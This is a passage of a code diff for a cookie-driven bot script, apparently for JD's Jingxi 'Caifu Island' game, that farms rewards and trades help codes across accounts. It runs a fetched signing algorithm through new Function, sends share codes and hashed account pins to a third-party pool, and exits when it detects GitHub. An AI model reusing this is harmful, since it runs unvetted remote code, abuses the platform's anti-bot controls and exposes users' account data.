= i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t + }); + const $ = new Env("京喜财富岛"); + const JD_API_HOST = "https://m.jingxi.com/"; + const notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; + $.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; + $.notifyTime = $.getdata("cfd_notifyTime"); + $.result = []; + $.shareCodes = []; + let cookiesArr = [], cookie = '', token = ''; + + const randomCount = $.isNode() ? 3 : 3; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + $.appId = 10028; + !(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; } -}; -var __spreadArray = (this && this.__spreadArray) || function (to, from) { - for (var i = 0, il = from.length, j = to.length; i < il; i++, j++) - to[j] = from[i]; - return to; -}; -exports.__esModule = true; -var date_fns_1 = require("date-fns"); -var axios_1 = require("axios"); -var TS_USER_AGENTS_1 = require("./TS_USER_AGENTS"); -var ts_md5_1 = require("ts-md5"); -var dotenv = require("dotenv"); -var CryptoJS = require('crypto-js'); -var notify = require('./sendNotify'); -dotenv.config(); -var appId = 10028, fingerprint, token = '', enCryptMethodJD; -var cookie = '', res = '', shareCodes = [], isCollector = false; -var HELP_HW = process.env.HELP_HW ? process.env.HELP_HW : "true"; -console.log('帮助HelloWorld:', HELP_HW); -var HELP_POOL = process.env.HELP_POOL ? process.env.HELP_POOL : "true"; -console.log('帮助助力池:', HELP_POOL); -var UserName, index; -!(function () { return __awaiter(void 0, void 0, void 0, function () { - var cookiesArr, i, _a, isLogin, nickName, e_1, strDT, strMyShareId, i_1, RealTmReport, j, _i, _b, stage, awardRes, employee, _c, employee_1, emp, empRes, _d, _e, sign, shipRes, bags, _f, _g, s, strTypeCnt, n, j, tasks, _h, _j, t, _k, _l, e, employ, _m, _o, t, _p, _q, b, data, e_2, data, e_3, i, j; - return __generator(this, function (_r) { - switch (_r.label) { - case 0: return [4 /*yield*/, requestAlgo()]; - case 1: - _r.sent(); - return [4 /*yield*/, TS_USER_AGENTS_1.requireConfig()]; - case 2: - cookiesArr = _r.sent(); - i = 0; - _r.label = 3; - case 3: - if (!(i < cookiesArr.length)) return [3 /*break*/, 86]; - cookie = cookiesArr[i]; - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)[1]); - index = i + 1; - return [4 /*yield*/, TS_USER_AGENTS_1.TotalBean(cookie)]; - case 4: - _a = _r.sent(), isLogin = _a.isLogin, nickName = _a.nickName; - if (!isLogin) { - notify.sendNotify(__filename.split('/').pop(), "cookie\u5DF2\u5931\u6548\n\u4EAC\u4E1C\u8D26\u53F7" + index + "\uFF1A" + (nickName || UserName)); - return [3 /*break*/, 85]; - } - console.log("\n\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7" + index + "\u3011" + (nickName || UserName) + "\n"); - _r.label = 5; - case 5: - _r.trys.push([5, 7, , 8]); - return [4 /*yield*/, makeShareCodes()]; - case 6: - _r.sent(); - return [3 /*break*/, 8]; - case 7: - e_1 = _r.sent(); - console.log(e_1); - return [3 /*break*/, 8]; - case 8: return [4 /*yield*/, api('user/ComposeGameState', '', { dwFirst: 1 })]; - case 9: - // 珍珠 - res = _r.sent(); - strDT = res.strDT, strMyShareId = res.strMyShareId; - console.log("\u5DF2\u5408\u6210" + res.dwCurProgress + "\u4E2A\u73CD\u73E0"); - i_1 = 0; - _r.label = 10; - case 10: - if (!(i_1 < 8 - res.dwCurProgress)) return [3 /*break*/, 19]; - console.log('继续合成'); - RealTmReport = TS_USER_AGENTS_1.getRandomNumberByRange(10, 20); - console.log('本次合成需要上报:', RealTmReport); - j = 0; - _r.label = 11; - case 11: - if (!(j < RealTmReport)) return [3 /*break*/, 15]; - return [4 /*yield*/, api('user/RealTmReport', '', { dwIdentityType: 0, strBussKey: 'composegame', strMyShareId: strMyShareId, ddwCount: 5 })]; - case 12: - res = _r.sent(); - if (res.iRet === 0) - console.log("\u6E38\u620F\u4E2D\u9014\u4E0A\u62A5" + (j + 1) + "\uFF1AOK"); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(5000)]; - case 13: - _r.sent(); - _r.label = 14; - case 14: - j++; - return [3 /*break*/, 11]; - case 15: return [4 /*yield*/, api('user/ComposeGameAddProcess', '__t,strBT,strZone', { __t: Date.now(), strBT: strDT })]; - case 16: - res = _r.sent(); - console.log('游戏完成,已合成', res.dwCurProgress); - console.log('游戏完成,等待3s'); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(3000)]; - case 17: - _r.sent(); - _r.label = 18; - case 18: - i_1++; - return [3 /*break*/, 10]; - case 19: return [4 /*yield*/, api('user/ComposeGameState', '', { dwFirst: 1 })]; - case 20: - // 珍珠领奖 - res = _r.sent(); - _i = 0, _b = res.stagelist; - _r.label = 21; - case 21: - if (!(_i < _b.length)) return [3 /*break*/, 25]; - stage = _b[_i]; - if (!(res.dwCurProgress >= stage.dwCurStageEndCnt && stage.dwIsAward === 0)) return [3 /*break*/, 24]; - return [4 /*yield*/, api('user/ComposeGameAward', '__t,dwCurStageEndCnt,strZone', { __t: Date.now(), dwCurStageEndCnt: stage.dwCurStageEndCnt })]; - case 22: - awardRes = _r.sent(); - console.log(awardRes); - console.log('珍珠领奖:', awardRes.ddwCoin, awardRes.addMonety); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(3000)]; - case 23: - _r.sent(); - _r.label = 24; - case 24: - _i++; - return [3 /*break*/, 21]; - case 25: return [4 /*yield*/, api('story/GetTakeAggrPage', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 26: - // 签到 助力奖励 - res = _r.sent(); - employee = res.Data.Employee.EmployeeList.filter(function (e) { - return e.dwStatus === 0; - }); - _c = 0, employee_1 = employee; - _r.label = 27; - case 27: - if (!(_c < employee_1.length)) return [3 /*break*/, 31]; - emp = employee_1[_c]; - return [4 /*yield*/, api('story/helpdraw', '_cfd_t,bizCode,dwEnv,dwUserId,ptag,source,strZone', { dwUserId: emp.dwId })]; - case 28: - empRes = _r.sent(); - if (empRes.iRet === 0) - console.log('助力奖励领取成功:', empRes.Data.ddwCoin); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 29: - _r.sent(); - _r.label = 30; - case 30: - _c++; - return [3 /*break*/, 27]; - case 31: - if (!(res.Data.Sign.dwTodayStatus === 0)) return [3 /*break*/, 35]; - _d = 0, _e = res.Data.Sign.SignList; - _r.label = 32; - case 32: - if (!(_d < _e.length)) return [3 /*break*/, 35]; - sign = _e[_d]; - if (!(sign.dwDayId === res.Data.Sign.dwTodayId)) return [3 /*break*/, 34]; - return [4 /*yield*/, api('story/RewardSign', '_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strZone', { ddwCoin: sign.ddwCoin, ddwMoney: sign.ddwMoney, dwPrizeLv: sign.dwBingoLevel, dwPrizeType: sign.dwPrizeType, strPrizePool: sign.strPrizePool })]; - case 33: - res = _r.sent(); - if (res.iRet === 0) - console.log('签到成功:', res.Data.ddwCoin, res.Data.ddwMoney, res.Data.strPrizePool); - return [3 /*break*/, 35]; - case 34: - _d++; - return [3 /*break*/, 32]; - case 35: return [4 /*yield*/, api('user/QueryUserInfo', '_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strShareId,strZone', { ddwTaskId: '', strShareId: '', strMarkList: 'undefined' })]; - case 36: - // 船来了 - res = _r.sent(); - if (!res.StoryInfo.StoryList) return [3 /*break*/, 41]; - console.log(JSON.stringify(res)); - if (!res.StoryInfo.StoryList[0].Special) return [3 /*break*/, 40]; - console.log("\u8239\u6765\u4E86\uFF0C\u4E58\u5BA2\u662F" + res.StoryInfo.StoryList[0].Special.strName); - return [4 /*yield*/, api('story/SpecialUserOper', '_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType', { strStoryId: res.StoryInfo.StoryList[0].strStoryId, dwType: '2', triggerType: 0, ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay })]; - case 37: - shipRes = _r.sent(); - console.log(shipRes); - console.log('正在下船,等待30s'); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(30000)]; - case 38: - _r.sent(); - return [4 /*yield*/, api('story/SpecialUserOper', '_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType', { strStoryId: res.StoryInfo.StoryList[0].strStoryId, dwType: '3', triggerType: 0, ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay })]; - case 39: - shipRes = _r.sent(); - if (shipRes.iRet === 0) - console.log('船客接待成功'); - else - console.log('船客接待失败', shipRes); - _r.label = 40; - case 40: - if (res.StoryInfo.StoryList[0].Collector) { - console.log('收藏家出现'); - // TODO 背包满了再卖给收破烂的 - // res = await api('story/CollectorOper', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,strStoryId,dwType,ddwTriggerDay', {strStoryId: res.StoryInfo.StoryList[0].strStoryId, dwType: '2', ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay}) - // console.log(res) - // await wait(1000) - // isCollector = true - } - _r.label = 41; - case 41: return [4 /*yield*/, api('story/querystorageroom', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 42: - // 清空背包 - res = _r.sent(); - bags = []; - for (_f = 0, _g = res.Data.Office; _f < _g.length; _f++) { - s = _g[_f]; - bags.push(s.dwType); - bags.push(s.dwCount); - } - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 43: - _r.sent(); - strTypeCnt = ''; - for (n = 0; n < bags.length; n++) { - if (n % 2 === 0) - strTypeCnt += bags[n] + ":"; - else - strTypeCnt += bags[n] + "|"; - } - if (!(bags.length !== 0)) return [3 /*break*/, 45]; - return [4 /*yield*/, api('story/sellgoods', '_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strTypeCnt,strZone', { dwSceneId: isCollector ? '2' : '1', strTypeCnt: strTypeCnt })]; - case 44: - res = _r.sent(); - console.log('卖贝壳收入:', res.Data.ddwCoin, res.Data.ddwMoney); - _r.label = 45; - case 45: return [4 /*yield*/, api('story/QueryRubbishInfo', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 46: - // 垃圾🚮 - res = _r.sent(); - if (!(res.Data.StoryInfo.StoryList.length !== 0)) return [3 /*break*/, 53]; - console.log('有垃圾'); - return [4 /*yield*/, api('story/RubbishOper', '_cfd_t,bizCode,dwEnv,dwRewardType,dwType,ptag,source,strZone', { dwType: '1', dwRewardType: 0 })]; - case 47: - _r.sent(); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 48: - _r.sent(); - j = 1; - _r.label = 49; - case 49: - if (!(j < 9)) return [3 /*break*/, 53]; - return [4 /*yield*/, api('story/RubbishOper', '_cfd_t,bizCode,dwEnv,dwRewardType,dwRubbishId,dwType,ptag,source,strZone', { dwType: '2', dwRewardType: 0, dwRubbishId: j })]; - case 50: - res = _r.sent(); - console.log('垃圾分类:', res.Data.RubbishGame.AllRubbish.ddwCoin); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1500)]; - case 51: - _r.sent(); - _r.label = 52; - case 52: - j++; - return [3 /*break*/, 49]; - case 53: - tasks = void 0; - return [4 /*yield*/, api('story/GetActTask', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 54: - tasks = _r.sent(); - _h = 0, _j = tasks.Data.TaskList; - _r.label = 55; - case 55: - if (!(_h < _j.length)) return [3 /*break*/, 59]; - t = _j[_h]; - if (!(t.dwCompleteNum === t.dwTargetNum && t.dwAwardStatus === 2)) return [3 /*break*/, 58]; - return [4 /*yield*/, api('Award', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', { taskId: t.ddwTaskId })]; - case 56: - res = _r.sent(); - if (res.ret === 0) { - console.log(t.strTaskName + "\u9886\u5956\u6210\u529F:", res.data.prizeInfo); - } - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 57: - _r.sent(); - _r.label = 58; - case 58: - _h++; - return [3 /*break*/, 55]; - case 59: return [4 /*yield*/, api('user/EmployTourGuideInfo', '_cfd_t,bizCode,dwEnv,ptag,source,strZone')]; - case 60: - // 导游 - res = _r.sent(); - if (!!res.TourGuideList) return [3 /*break*/, 61]; - console.log('手动雇佣4个试用导游'); - return [3 /*break*/, 66]; - case 61: - _k = 0, _l = res.TourGuideList; - _r.label = 62; - case 62: - if (!(_k < _l.length)) return [3 /*break*/, 66]; - e = _l[_k]; - if (!(e.strBuildIndex !== 'food' && e.ddwRemainTm === 0)) return [3 /*break*/, 65]; - return [4 /*yield*/, api('user/EmployTourGuide', '_cfd_t,bizCode,ddwConsumeCoin,dwEnv,dwIsFree,ptag,source,strBuildIndex,strZone', { ddwConsumeCoin: e.ddwCostCoin, dwIsFree: 0, strBuildIndex: e.strBuildIndex })]; - case 63: - employ = _r.sent(); - if (employ.iRet === 0) - console.log("\u96C7\u4F63" + e.strBuildIndex + "\u5BFC\u6E38\u6210\u529F"); - if (employ.iRet === 2003) - return [3 /*break*/, 66]; - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 64: - _r.sent(); - _r.label = 65; - case 65: - _k++; - return [3 /*break*/, 62]; - case 66: return [4 /*yield*/, mainTask('GetUserTaskStatusList', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', { taskId: 0 })]; - case 67: - // 任务⬇️ - tasks = _r.sent(); - _m = 0, _o = tasks.data.userTaskStatusList; - _r.label = 68; - case 68: - if (!(_m < _o.length)) return [3 /*break*/, 75]; - t = _o[_m]; - if (!(t.dateType === 2)) return [3 /*break*/, 74]; - if (!(t.awardStatus === 2 && t.completedTimes === t.targetTimes)) return [3 /*break*/, 71]; - console.log(1, t.taskName); - return [4 /*yield*/, mainTask('Award', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', { taskId: t.taskId })]; - case 69: - res = _r.sent(); - console.log(res); - if (res.ret === 0) { - console.log(t.taskName + "\u9886\u5956\u6210\u529F:", res.data.prizeInfo); - } - return [4 /*yield*/, TS_USER_AGENTS_1.wait(2000)]; - case 70: - _r.sent(); - return [3 /*break*/, 74]; - case 71: - if (!(t.awardStatus === 2 && t.completedTimes < t.targetTimes && ([1, 2, 3, 4].includes(t.orderId)))) return [3 /*break*/, 74]; - console.log('做任务:', t.taskId, t.taskName, t.completedTimes, t.targetTimes); - return [4 /*yield*/, mainTask('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', { taskId: t.taskId, configExtra: '' })]; - case 72: - res = _r.sent(); - console.log('做任务:', res); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(5000)]; - case 73: - _r.sent(); - _r.label = 74; - case 74: - _m++; - return [3 /*break*/, 68]; - case 75: - _p = 0, _q = ['food', 'fun', 'shop', 'sea']; - _r.label = 76; - case 76: - if (!(_p < _q.length)) return [3 /*break*/, 85]; - b = _q[_p]; - return [4 /*yield*/, api('user/GetBuildInfo', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone', { strBuildIndex: b })]; - case 77: - res = _r.sent(); - console.log(b + "\u5347\u7EA7\u9700\u8981:", res.ddwNextLvlCostCoin); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 78: - _r.sent(); - if (!(res.dwCanLvlUp === 1)) return [3 /*break*/, 81]; - return [4 /*yield*/, api('user/BuildLvlUp', '_cfd_t,bizCode,ddwCostCoin,dwEnv,ptag,source,strBuildIndex,strZone', { ddwCostCoin: res.ddwNextLvlCostCoin, strBuildIndex: b })]; - case 79: - res = _r.sent(); - if (!(res.iRet === 0)) return [3 /*break*/, 81]; - console.log("\u5347\u7EA7\u6210\u529F"); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(2000)]; - case 80: - _r.sent(); - _r.label = 81; - case 81: return [4 /*yield*/, api('user/CollectCoin', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone', { strBuildIndex: b, dwType: '1' })]; - case 82: - res = _r.sent(); - console.log(b + "\u6536\u91D1\u5E01:", res.ddwCoin); - return [4 /*yield*/, TS_USER_AGENTS_1.wait(1000)]; - case 83: - _r.sent(); - _r.label = 84; - case 84: - _p++; - return [3 /*break*/, 76]; - case 85: - i++; - return [3 /*break*/, 3]; - case 86: - if (!(HELP_HW === 'true')) return [3 /*break*/, 90]; - _r.label = 87; - case 87: - _r.trys.push([87, 89, , 90]); - return [4 /*yield*/, axios_1["default"].get("https://api.sharecode.ga/api/HW_CODES")]; - case 88: - data = (_r.sent()).data; - shareCodes = __spreadArray(__spreadArray([], shareCodes), data.jxcfd); - console.log('获取HelloWorld助力码成功'); - return [3 /*break*/, 90]; - case 89: - e_2 = _r.sent(); - console.log('获取HelloWorld助力码出错'); - return [3 /*break*/, 90]; - case 90: - if (!(HELP_POOL === 'true')) return [3 /*break*/, 95]; - _r.label = 91; - case 91: - _r.trys.push([91, 93, , 94]); - return [4 /*yield*/, axios_1["default"].get('https://api.sharecode.ga/api/jxcfd/20')]; - case 92: - data = (_r.sent()).data; - console.log('获取到20个随机助力码:', data.data); - shareCodes = __spreadArray(__spreadArray([], shareCodes), data.data); - return [3 /*break*/, 94]; - case 93: - e_3 = _r.sent(); - console.log('获取助力池失败'); - return [3 /*break*/, 94]; - case 94: return [3 /*break*/, 96]; - case 95: - console.log('你的设置是不帮助助力池'); - _r.label = 96; - case 96: - i = 0; - _r.label = 97; - case 97: - if (!(i < cookiesArr.length)) return [3 /*break*/, 103]; - j = 0; - _r.label = 98; - case 98: - if (!(j < shareCodes.length)) return [3 /*break*/, 102]; - cookie = cookiesArr[i]; - console.log("\u8D26\u53F7" + (i + 1) + "\u53BB\u52A9\u529B:", shareCodes[j]); - return [4 /*yield*/, api('story/helpbystage', '_cfd_t,bizCode,dwEnv,ptag,source,strShareId,strZone', { strShareId: shareCodes[j] })]; - case 99: - res = _r.sent(); - console.log('助力:', res); - if (res.iRet === 2232 || res.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { - return [3 /*break*/, 102]; - } - return [4 /*yield*/, TS_USER_AGENTS_1.wait(3000)]; - case 100: - _r.sent(); - _r.label = 101; - case 101: - j++; - return [3 /*break*/, 98]; - case 102: - i++; - return [3 /*break*/, 97]; - case 103: return [2 /*return*/]; + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + let res = [] + let res2 = [] + $.strMyShareIds = [...(res && res.shareId || []), ...(res2 && res2.shareId || [])] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue } - }); -}); })(); -function api(fn, stk, params) { - var _this = this; - if (params === void 0) { params = {}; } - return new Promise(function (resolve) { return __awaiter(_this, void 0, void 0, function () { - var url, key, data; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: - url = "https://m.jingxi.com/jxbfd/" + fn + "?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&_ste=1&_=" + Date.now() + "&sceneval=2&_stk=" + encodeURIComponent(stk); - if (['GetUserTaskStatusList', 'Award', 'DoTask'].includes(fn)) { - console.log('api2'); - url = "https://m.jingxi.com/newtasksys/newtasksys_front/" + fn + "?strZone=jxbfd&bizCode=jxbfddch&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&_stk=" + encodeURIComponent(stk) + "&_ste=1&_=" + Date.now() + "&sceneval=2"; - } - if (Object.keys(params).length !== 0) { - key = void 0; - for (key in params) { - if (params.hasOwnProperty(key)) - url += "&" + key + "=" + params[key]; - } - } - url += '&h5st=' + decrypt(stk, url); - return [4 /*yield*/, axios_1["default"].get(url, { - headers: { - 'Host': 'm.jingxi.com', - 'Referer': 'https://st.jingxi.com/', - 'User-Agent': TS_USER_AGENTS_1["default"], - 'Cookie': cookie - } - })]; - case 1: - data = (_a.sent()).data; - resolve(data); - return [2 /*return*/]; - } - }); - }); }); -} -function mainTask(fn, stk, params) { - var _this = this; - if (params === void 0) { params = {}; } - return new Promise(function (resolve) { return __awaiter(_this, void 0, void 0, function () { - var url, key, data; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: - url = "https://m.jingxi.com/newtasksys/newtasksys_front/" + fn + "?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&_stk=" + encodeURIComponent(stk) + "&_ste=1&_=" + Date.now() + "&sceneval=2"; - if (Object.keys(params).length !== 0) { - key = void 0; - for (key in params) { - if (params.hasOwnProperty(key)) - url += "&" + key + "=" + params[key]; - } - } - url += '&h5st=' + decrypt(stk, url); - return [4 /*yield*/, axios_1["default"].get(url, { - headers: { - 'X-Requested-With': 'com.jd.pingou', - 'Referer': 'https://st.jingxi.com/', - 'Host': 'm.jingxi.com', - 'User-Agent': TS_USER_AGENTS_1["default"], - 'Cookie': cookie - } - })]; - case 1: - data = (_a.sent()).data; - resolve(data); - return [2 /*return*/]; - } - }); - }); }); -} -function makeShareCodes() { - var _this = this; - return new Promise(function (resolve, reject) { return __awaiter(_this, void 0, void 0, function () { - var bean, farm, pin; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: return [4 /*yield*/, TS_USER_AGENTS_1.getBeanShareCode(cookie)]; - case 1: - bean = _a.sent(); - return [4 /*yield*/, TS_USER_AGENTS_1.getFarmShareCode(cookie)]; - case 2: - farm = _a.sent(); - return [4 /*yield*/, api('user/QueryUserInfo', '_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strShareId,strZone', { ddwTaskId: '', strShareId: '', strMarkList: 'undefined' })]; - case 3: - res = _a.sent(); - console.log('助力码:', res.strMyShareId); - shareCodes.push(res.strMyShareId); - pin = cookie.match(/pt_pin=([^;]*)/)[1]; - pin = ts_md5_1.Md5.hashStr(pin); - axios_1["default"].get("https://api.sharecode.ga/api/autoInsert?db=jxcfd&code=" + res.strMyShareId + "&bean=" + bean + "&farm=" + farm + "&pin=" + pin) - .then(function (res) { - if (res.data.code === 200) - console.log('已自动提交助力码'); - else - console.log('提交失败!已提交farm和bean的cookie才可提交cfd'); - resolve(); - })["catch"](function (e) { - reject('访问助力池出错'); - }); - return [2 /*return*/]; - } - }); - }); }); -} -function requestAlgo() { - return __awaiter(this, void 0, void 0, function () { - var _this = this; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: return [4 /*yield*/, generateFp()]; - case 1: - fingerprint = _a.sent(); - return [2 /*return*/, new Promise(function (resolve) { return __awaiter(_this, void 0, void 0, function () { - var data, enCryptMethodJDString; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: return [4 /*yield*/, axios_1["default"].post('https://cactus.jd.com/request_algo?g_ty=ajax', { - "version": "1.0", - "fp": fingerprint, - "appId": appId, - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }, { - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': TS_USER_AGENTS_1["default"], - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - } - })]; - case 1: - data = (_a.sent()).data; - if (data['status'] === 200) { - token = data.data.result.tk; - console.log('token:', token); - enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) - enCryptMethodJD = new Function("return " + enCryptMethodJDString)(); - } - else { - console.log("fp: " + fingerprint); - console.log('request_algo 签名参数API请求失败:'); - } - resolve(); - return [2 /*return*/]; - } - }); - }); })]; - } - }); - }); -} -function decrypt(stk, url) { - var timestamp = (date_fns_1.format(new Date(), 'yyyyMMddhhmmssSSS')); - var hash1; - if (fingerprint && token && enCryptMethodJD) { - hash1 = enCryptMethodJD(token, fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + $.allTask = [] + $.info = {} + token = await getJxToken() + await shareCodesFormat() + await cfd(); + await $.wait(2000); + } } - else { - var random = '5gkjB6SpmC9s'; - token = "tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc"; - fingerprint = 9686767825751161; - // $.fingerprint = 7811850938414161; - var str = "" + token + fingerprint + timestamp + appId + random; - hash1 = CryptoJS.SHA512(str, token).toString(CryptoJS.enc.Hex); + for (let j = 0; j < cookiesArr.length; j++) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n自己账号内部循环互助\n`); + for (let id of $.shareCodes) { + console.log(`账号${$.UserName} 去助力 ${id}`) + await helpByStage(id) + await $.wait(3000) + if (!$.canHelp) break + } + } + if (!$.canHelp) continue + if ($.strMyShareIds && $.strMyShareIds.length) { + console.log(`\n助力作者\n`); + for (let id of $.strMyShareIds) { + console.log(`账号${$.UserName} 去助力 ${id}`) + await helpByStage(id) + await $.wait(3000) + if (!$.canHelp) break + } + } } - var st = ''; - stk.split(',').map(function (item, index) { - st += item + ":" + getQueryString(url, item) + (index === stk.split(',').length - 1 ? '' : '&'); + await showMsg(); + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + + async function cfd() { + try { + let beginInfo = await getUserInfo(); + if (beginInfo.Fund.ddwFundTargTm === 0) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.Fund.ddwFundTargTm !== 0) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + //每日签到 + await $.wait(2000) + await getTakeAggrPage('sign') + + //助力奖励 + await $.wait(2000) + await getTakeAggrPage('helpdraw') + + console.log('') + //卖贝壳 + // await $.wait(2000) + // await querystorageroom('1') + + //升级建筑 + await $.wait(2000) + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}` + await getBuildInfo(body, vo) + await $.wait(2000) + } + + //合成珍珠 + await $.wait(2000) + await composeGameState() + + //接待贵宾 + console.log(`接待贵宾`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Special) { + console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) + await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) + await $.wait(vo.Special.dwWaitTime * 1000) + await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) + await $.wait(2000) + } else { + console.log(`当前暂无贵宾\n`) + } + } + } else { + console.log(`当前暂无贵宾\n`) + } + + //收藏家 + console.log(`收藏家`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Collector) { + console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) + await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) + await $.wait(2000) + await querystorageroom('2') + await $.wait(2000) + await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } else { + 